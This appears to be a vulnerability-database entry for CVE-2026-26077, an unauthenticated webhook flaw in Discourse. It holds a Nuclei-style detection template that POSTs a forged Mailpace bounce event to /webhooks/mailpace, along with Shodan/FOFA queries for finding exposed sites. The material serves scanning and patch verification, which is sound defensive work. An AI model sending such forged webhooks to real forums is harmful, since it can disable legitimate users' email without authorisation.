CVE-2026-26077: Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery

2026-10-15 PoC Public

Description

Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.

Details

CVE
CVE-2026-26077 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-26077

info:
  name: Discourse - Unauthenticated Mailpace Webhook Bounce-Score Forgery
  author: str4k3r
  severity: medium
  description: |
    Discourse's WebhooksController contains a missing-authentication flaw caused by accepting requests to provider webhook endpoints (including /webhooks/mailpace, SendGrid, Mailjet, Mandrill, Postmark, and SparkPost) without validating a token when none is configured, which is the default state, letting an unauthenticated attacker forge webhook payloads.
  impact: |
    An unauthenticated attacker can forge bounce-status webhook events to artificially inflate a user's bounce score, causing that user's legitimate emails to be disabled.
  remediation: |
    Upgrade Discourse to the patched version, which rejects any provider webhook request with HTTP 406 when no authentication token is configured for that provider.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-j67c-53j2-4hfw
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
    cvss-score: 6.5
    cve-id: CVE-2026-26077
    epss-score: 0.01111
    epss-percentile: 0.65081
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: discourse
    product: discourse
    shodan-query: http.component:"Discourse"
    fofa-query: body="Discourse"
  tags: cve,cve2026,discourse,authbypass,unauth

variables:
  token: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Discourse")'
        internal: true

  - raw:
      - |
        POST /webhooks/mailpace HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"event":"email.bounced","payload":{"message_id":"{{token}}@example.local","status":"bounced"}}

    matchers:
      - type: dsl
        dsl:
          - 'regex("^\\s*$", body)'
          - 'contains(header, "X-Request-Id")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100cd6c167ee5ccc27388fc9f8f3ec03216827e124efe0e841ab5e819bfcfbafb8d022100a7baa26c5f090f5f314838389b1bf2176cd0b0392e9f85826bafce082e09862e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life